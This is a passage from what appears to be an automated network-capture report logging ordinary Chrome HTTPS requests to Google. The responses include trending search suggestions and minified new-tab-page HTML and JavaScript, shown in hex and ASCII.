2024-12-16 12:16:58 UTC	124	IN	Data Raw: 35 35 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 72 65 64 20 73 6f 78 20 74 72 61 64 65 20 65 6e 6d 61 6e 75 65 6c 20 76 61 6c 64 65 7a 22 2c 22 61 6c 69 65 6e 73 22 2c 22 61 6c 69 65 6e 73 22 2c 22 65 6c 64 65 6e 20 72 69 6e 67 20 72 69 6e 67 20 6e 69 67 68 74 72 65 69 67 6e 22 2c 22 63 61 72 72 79 20 6f 6e 20 6d 6f 76 69 65 73 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 6c Data Ascii: 559)]}'["",["red sox trade enmanuel valdez","aliens","aliens","elden ring ring nightreign","carry on movies streaming","l
2024-12-16 12:16:58 UTC	1252	IN	Data Raw: 6f 74 74 65 72 79 20 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 22 2c 22 64 65 63 65 6d 62 65 72 20 66 75 6c 6c 20 6d 6f 6f 6e 20 63 6f 6c 64 20 6d 6f 6f 6e 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 61 64 76 69 73 6f 72 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c 22 3a 31 30 30 Data Ascii: ottery powerball jackpot","december full moon cold moon","winter storm advisory"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":100
2024-12-16 12:16:58 UTC	89	IN	Data Raw: 35 33 0d 0a 58 52 71 65 45 56 72 64 56 6c 53 52 54 6c 53 56 55 4e 78 63 55 52 47 52 57 68 57 59 69 39 73 5a 32 35 6d 4e 7a 52 48 5a 57 68 73 4e 55 74 75 52 48 4a 4a 53 55 74 4f 59 54 68 48 63 47 59 34 4d 46 67 32 57 58 52 7a 56 47 49 78 65 48 42 75 4d 48 64 4e 0d 0a Data Ascii: 53XRqeEVrdVlSRTlSVUNxcURGRWhWYi9sZ25mNzRHZWhsNUtuRHJJSUtOYThHcGY4MFg2WXRzVGIxeHBuMHdN
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 31 35 65 62 0d 0a 63 48 41 32 56 55 46 75 62 48 70 69 57 6c 49 72 4b 30 35 44 64 6d 5a 6a 63 30 67 30 5a 55 78 4f 57 57 4e 77 65 6c 42 51 51 58 52 51 55 32 5a 75 55 32 73 79 51 57 52 30 62 45 46 47 65 57 4e 4b 63 33 68 35 53 6a 68 32 62 6d 46 75 63 55 68 59 63 55 78 35 55 6e 68 71 4d 44 64 33 4d 56 41 31 54 45 30 32 59 58 4a 77 4d 55 46 59 63 55 34 78 56 6d 4a 5a 4d 6b 74 72 52 7a 4d 35 4e 7a 4a 34 53 53 74 50 64 6b 31 57 52 6d 5a 55 65 56 5a 47 53 45 70 53 56 45 64 4e 64 45 70 44 4c 30 6c 50 64 48 55 76 4d 45 46 33 5a 6e 6c 49 57 56 63 76 56 57 49 30 51 33 46 68 56 44 68 35 59 6e 6c 6d 54 45 74 70 62 32 78 78 62 6d 68 57 62 55 35 4f 52 30 68 4b 56 54 49 77 5a 32 30 78 4e 7a 52 47 61 32 6c 5a 54 56 4d 78 65 44 64 58 4d 6e 68 55 5a 55 46 4e 4e 32 68 35 59 Data Ascii: 15ebcHA2VUFubHpiWlIrK05DdmZjc0g0ZUxOWWNwelBQQXRQU2ZuU2syQWR0bEFGeWNKc3h5Sjh2bmFucUhYcUx5UnhqMDd3MVA1TE02YXJwMUFYcU4xVmJZMktrRzM5NzJ4SStPdk1WRmZUeVZGSEpSVEdNdEpDL0lPdHUvMEF3ZnlIWVcvVWI0Q3FhVDh5YnlmTEtpb2xxbmhWbU5OR0hKVTIwZ20xNzRGa2lZTVMxeDdXMnhUZUFNN2h5Y
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 56 6d 4a 46 54 58 70 32 59 7a 6b 33 4d 7a 6c 71 61 46 52 4d 56 46 52 55 56 55 64 57 5a 31 4a 36 54 46 56 56 61 58 6c 79 53 6a 46 46 4d 47 39 42 4d 47 68 5a 52 55 68 72 4f 44 49 30 4d 6e 52 70 5a 48 42 6d 55 44 42 4f 57 69 74 4b 56 54 42 4e 63 56 4d 77 61 32 6c 7a 4f 47 64 6f 54 32 31 47 61 57 56 48 4d 6a 49 33 61 58 67 72 62 55 78 79 53 57 5a 48 5a 45 70 56 52 30 39 51 65 45 35 55 4e 6b 35 59 4f 56 56 7a 54 33 42 49 53 48 56 76 52 69 39 69 59 53 38 79 64 7a 56 73 53 32 70 4f 61 46 45 76 5a 6d 4e 46 4f 46 67 31 62 45 70 59 4e 55 52 73 52 6b 34 78 51 56 68 77 4e 6d 52 33 4e 45 68 47 4b 32 38 7a 4e 6c 64 34 53 6c 70 73 56 6b 78 51 55 54 56 59 56 48 45 34 63 45 35 4b 56 48 5a 46 4e 6b 34 34 5a 30 70 73 5a 44 64 79 64 6a 4e 45 61 53 74 33 4b 31 68 32 61 43 38 Data Ascii: VmJFTXp2Yzk3MzlqaFRMVFRUVUdWZ1J6TFVVaXlySjFFMG9BMGhZRUhrODI0MnRpZHBmUDBOWitKVTBNcVMwa2lzOGdoT21GaWVHMjI3aXgrbUxySWZHZEpVR09QeE5UNk5YOVVzT3BISHVvRi9iYS8ydzVsS2pOaFEvZmNFOFg1bEpYNURsRk4xQVhwNmR3NEhGK28zNld4SlpsVkxQUTVYVHE4cE5KVHZFNk44Z0psZDdydjNEaSt3K1h2aC8
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 54 4e 34 64 44 56 49 54 31 42 55 57 45 64 68 62 6b 78 6a 4d 44 5a 6a 56 6e 6f 35 51 54 42 4d 64 6d 70 50 4b 33 42 70 55 46 4a 31 53 6e 46 61 63 6b 6f 35 61 57 78 58 59 31 52 79 56 55 35 4e 61 6b 6c 70 62 46 52 73 52 6c 56 42 61 32 35 4a 4e 57 52 42 5a 46 59 32 5a 57 70 72 5a 57 46 4f 57 54 51 79 5a 48 6c 33 4e 46 5a 56 57 6b 70 50 64 55 78 48 59 6d 51 79 63 57 39 49 53 32 30 79 5a 57 35 75 63 47 64 30 57 46 70 34 4e 56 6c 6f 56 54 4e 45 54 56 56 4b 4d 31 4e 51 61 7a 42 75 4f 45 52 55 61 6b 68 5a 63 6d 5a 53 4d 57 4d 35 4d 33 55 31 56 58 70 35 65 55 59 30 59 56 70 7a 52 56 49 31 4e 56 70 33 59 30 5a 32 4d 45 68 79 65 6a 42 50 4e 31 46 6b 62 30 64 58 4d 45 31 78 61 33 4a 4a 4d 6d 4e 4f 64 32 68 73 53 58 70 72 53 46 42 46 55 44 4a 50 61 32 77 7a 62 33 6f 7a Data Ascii: TN4dDVIT1BUWEdhbkxjMDZjVno5QTBMdmpPK3BpUFJ1SnFacko5aWxXY1RyVU5NaklpbFRsRlVBa25JNWRBZFY2ZWprZWFOWTQyZHl3NFZVWkpPdUxHYmQycW9IS20yZW5ucGd0WFp4NVloVTNETVVKM1NQazBuOERUakhZcmZSMWM5M3U1VXp5eUY0YVpzRVI1NVp3Y0Z2MEhyejBPN1Fkb0dXME1xa3JJMmNOd2hsSXprSFBFUDJPa2wzb3oz
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 4e 52 6c 42 69 59 57 56 73 61 45 5a 49 55 6e 68 47 4e 32 70 56 55 55 5a 47 56 55 56 45 61 45 4a 56 62 6b 39 4f 4b 32 35 4d 53 55 39 45 61 6a 5a 30 4f 45 5a 30 54 56 4e 52 62 7a 6c 7a 4e 6e 42 48 53 6d 6c 6e 52 46 4a 56 63 55 6c 42 51 57 56 69 51 54 55 30 56 6b 6f 34 4f 58 56 4a 4b 31 46 42 4f 44 6c 33 52 6c 5a 46 63 6e 6c 53 64 32 39 31 54 30 5a 43 52 33 4a 69 4e 30 31 6c 57 44 6c 55 61 31 6f 72 5a 45 31 73 4d 58 4e 6b 64 33 42 61 61 6a 6b 30 4d 48 4e 70 64 6d 74 35 63 32 70 30 61 6e 64 71 53 44 42 71 53 6e 70 72 4e 46 68 50 55 31 4e 55 4e 7a 5a 58 5a 54 64 43 56 31 4e 54 62 32 74 48 59 57 64 6a 53 54 5a 75 53 6d 74 52 61 7a 52 49 65 6e 46 47 54 32 73 72 65 47 46 4d 52 6a 4a 6b 62 32 74 57 52 6c 52 46 55 32 70 6f 52 46 70 34 63 30 35 32 56 44 49 78 59 6a Data Ascii: NRlBiYWVsaEZIUnhGN2pVUUZGVUVEaEJVbk9OK25MSU9EajZ0OEZ0TVNRbzlzNnBHSmlnRFJVcUlBQWViQTU0Vko4OXVJK1FBODl3RlZFcnlSd291T0ZCR3JiN01lWDlUa1orZE1sMXNkd3Baajk0MHNpdmt5c2p0andqSDBqSnprNFhPU1NUNzZXZTdCV1NTb2tHYWdjSTZuSmtRazRIenFGT2sreGFMRjJkb2tWRlRFU2poRFp4c052VDIxYj
2024-12-16 12:16:58 UTC	59	IN	Data Raw: 54 49 54 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: TITY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-12-16 12:16:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49827	172.217.21.36	443	4040	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:57 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49830	172.217.21.36	443	4040	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:57 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 12:16:58 UTC	1018	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 12:16:57 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 12:16:58 UTC	372	IN	Data Raw: 31 38 32 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1821)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-16 12:16:58 UTC	253	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 0d 0a Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700277,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var wind
2024-12-16 12:16:58 UTC	226	IN	Data Raw: 64 63 0d 0a 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 43 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 43 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 0d 0a Data Ascii: dcow\u003dthis;\ntry{\n_.Cd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.Cd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventLis
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 45 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 Data Ascii: 8000tener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd\u003ddocument.querySelector(\".gb_I .gb_A\"),Ed\u003ddocument.querySelector(\"#gb.gb_Rc\"
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 65 77 20 5f 2e 4b 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 51 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 51 64 28 5f 2e 4d 64 3f 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 Data Ascii: ew _.Kd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Qd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Rd\u003dnew _.Qd(_.Md?_.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){ret
2024-12-16 12:16:58 UTC	1390	IN	Data Raw: 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e Data Ascii: a(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Lc(a,b))};_.S\u003dfunction(a,b){return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49832	172.217.21.36	443	4040	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:57 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
